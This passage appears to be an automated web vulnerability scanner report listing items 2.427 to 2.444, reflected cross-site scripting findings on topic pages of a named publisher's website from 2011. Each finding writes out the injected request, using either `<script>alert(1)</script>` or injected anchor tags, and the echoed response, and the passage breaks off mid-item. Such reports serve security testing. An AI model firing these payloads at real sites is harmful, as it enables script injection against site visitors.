<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-death-and-dyinga28ae"><a>923dbb3d229 node node-958">
...[SNIP]...

2.427. http://www.rodale.com/topic/death-and-dying [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/death-and-dying

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c7824"><script>alert(1)</script>71e6bc3550f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/death-and-dying?c7824"><script>alert(1)</script>71e6bc3550f=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:56 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:40:59 GMT
Date: Thu, 10 Mar 2011 17:10:59 GMT
Content-Length: 30227
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/death-and-dying?c7824"><script>alert(1)</script>71e6bc3550f=1" title="Register" class="moreLink">
...[SNIP]...

2.428. http://www.rodale.com/topic/dementia-and-alzheimer�??s-disease [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/dementia-and-alzheimer...s-disease

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73b69"><a>a445f89b001 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic73b69"><a>a445f89b001/dementia-and-alzheimer...s-disease HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:54 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:55 GMT
Date: Thu, 10 Mar 2011 17:10:56 GMT
Content-Length: 22579
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic73b69"><a>a445f89b001 topic73b69">
...[SNIP]...

2.429. http://www.rodale.com/topic/dementia-and-alzheimer�??s-disease [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/dementia-and-alzheimer...s-disease

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d35df"><a>8661ee12197 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/dementia-and-alzheimerd35df"><a>8661ee12197...s-disease HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:27 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:30 GMT
Date: Thu, 10 Mar 2011 17:11:31 GMT
Content-Length: 22558
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-dementia-and-alzheimerd35df"><a>8661ee12197...s-disease node node-958">
...[SNIP]...

2.430. http://www.rodale.com/topic/dementia-and-alzheimer�??s-disease [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/dementia-and-alzheimer...s-disease

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3f95b"><script>alert(1)</script>32b319d1b39 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/dementia-and-alzheimer...s-disease?3f95b"><script>alert(1)</script>32b319d1b39=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:52 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:40:53 GMT
Date: Thu, 10 Mar 2011 17:10:54 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 33536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/dementia-and-alzheimer...s-disease?3f95b"><script>alert(1)</script>32b319d1b39=1" title="Register" class="moreLink">
...[SNIP]...

2.431. http://www.rodale.com/topic/dental-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/dental-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd405"><a>5537736027d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topiccd405"><a>5537736027d/dental-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:02 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:04 GMT
Date: Thu, 10 Mar 2011 17:11:04 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topiccd405"><a>5537736027d topiccd405">
...[SNIP]...

2.432. http://www.rodale.com/topic/dental-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/dental-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8f20c"><a>f2e66c297dc was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/dental-health8f20c"><a>f2e66c297dc HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:44 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:46 GMT
Date: Thu, 10 Mar 2011 17:11:46 GMT
Content-Length: 22489
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-dental-health8f20c"><a>f2e66c297dc node node-958">
...[SNIP]...

2.433. http://www.rodale.com/topic/dental-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/dental-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 13a33"><script>alert(1)</script>c72efd90e06 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/dental-health?13a33"><script>alert(1)</script>c72efd90e06=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:10:59 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:01 GMT
Date: Thu, 10 Mar 2011 17:11:02 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32847

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/dental-health?13a33"><script>alert(1)</script>c72efd90e06=1" title="Register" class="moreLink">
...[SNIP]...

2.434. http://www.rodale.com/topic/depression [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/depression

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c5cab"><a>c33cd7ec716 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topicc5cab"><a>c33cd7ec716/depression HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:09 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:10 GMT
Date: Thu, 10 Mar 2011 17:11:10 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topicc5cab"><a>c33cd7ec716 topicc5cab">
...[SNIP]...

2.435. http://www.rodale.com/topic/depression [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/depression

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 560eb"><a>3a7b88907c2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/depression560eb"><a>3a7b88907c2 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:48 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:53 GMT
Date: Thu, 10 Mar 2011 17:11:53 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-depression560eb"><a>3a7b88907c2 node node-958">
...[SNIP]...

2.436. http://www.rodale.com/topic/depression [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/depression

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 27d3b"><script>alert(1)</script>59bbccf524 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/depression?27d3b"><script>alert(1)</script>59bbccf524=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:07 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:09 GMT
Date: Thu, 10 Mar 2011 17:11:09 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32808

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/depression?27d3b"><script>alert(1)</script>59bbccf524=1" title="Register" class="moreLink">
...[SNIP]...

2.437. http://www.rodale.com/topic/diabetes-0 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/diabetes-0

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 367f3"><a>d89d418c04c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic367f3"><a>d89d418c04c/diabetes-0 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:05 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:06 GMT
Date: Thu, 10 Mar 2011 17:11:06 GMT
Content-Length: 22501
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic367f3"><a>d89d418c04c topic367f3">
...[SNIP]...

2.438. http://www.rodale.com/topic/diabetes-0 [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/diabetes-0

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 73cb4"><a>6e4b34fbc98 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/diabetes-073cb4"><a>6e4b34fbc98 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:40 GMT
Date: Thu, 10 Mar 2011 17:11:40 GMT
Content-Length: 22480
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-diabetes-073cb4"><a>6e4b34fbc98 node node-958">
...[SNIP]...

2.439. http://www.rodale.com/topic/diabetes-0 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/diabetes-0

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 674e8"><script>alert(1)</script>6b18aabea43 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/diabetes-0?674e8"><script>alert(1)</script>6b18aabea43=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:03 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1799
Expires: Thu, 10 Mar 2011 17:41:04 GMT
Date: Thu, 10 Mar 2011 17:11:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32845

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/diabetes-0?674e8"><script>alert(1)</script>6b18aabea43=1" title="Register" class="moreLink">
...[SNIP]...

2.440. http://www.rodale.com/topic/digestive-health [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/digestive-health

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9bec3"><a>7a12bba8d34 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic9bec3"><a>7a12bba8d34/digestive-health HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:08 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:10 GMT
Date: Thu, 10 Mar 2011 17:11:10 GMT
Content-Length: 22519
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic9bec3"><a>7a12bba8d34 topic9bec3">
...[SNIP]...

2.441. http://www.rodale.com/topic/digestive-health [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/digestive-health

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 39ad5"><a>f3f73d47914 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topic/digestive-health39ad5"><a>f3f73d47914 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:37 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:41 GMT
Date: Thu, 10 Mar 2011 17:11:41 GMT
Content-Length: 22498
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topic topic-digestive-health39ad5"><a>f3f73d47914 node node-958">
...[SNIP]...

2.442. http://www.rodale.com/topic/digestive-health [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.rodale.com
Path:	/topic/digestive-health

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab59c"><script>alert(1)</script>97a280af8cf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /topic/digestive-health?ab59c"><script>alert(1)</script>97a280af8cf=1 HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:06 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:08 GMT
Date: Thu, 10 Mar 2011 17:11:08 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 32946

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<a href="https://member.rodale.com/membercenter/mvc/createUser?site=rodalehealth&returnUrl=http%3A%2F%2Fwww.rodale.com/topic/digestive-health?ab59c"><script>alert(1)</script>97a280af8cf=1" title="Register" class="moreLink">
...[SNIP]...

2.443. http://www.rodale.com/topic/drink-recipes [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/drink-recipes

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a77dc"><a>b3215a07584 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /topica77dc"><a>b3215a07584/drink-recipes HTTP/1.1
Host: www.rodale.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=rkdyf9xiaaxcx0fo; cmTPSet=Y;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Last-Modified: Thu, 10 Mar 2011 17:11:09 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: max-age=1800
Expires: Thu, 10 Mar 2011 17:41:12 GMT
Date: Thu, 10 Mar 2011 17:11:12 GMT
Content-Length: 22510
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"
lang="en" xml:lang="en"
class=""
xml
...[SNIP]...
<body id="" class="format-normal page-page topica77dc"><a>b3215a07584 topica77dc">
...[SNIP]...

2.444. http://www.rodale.com/topic/drink-recipes [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.rodale.com
Path:	/topic/drink-recipes

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1fa9"><a>896dddbec96 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

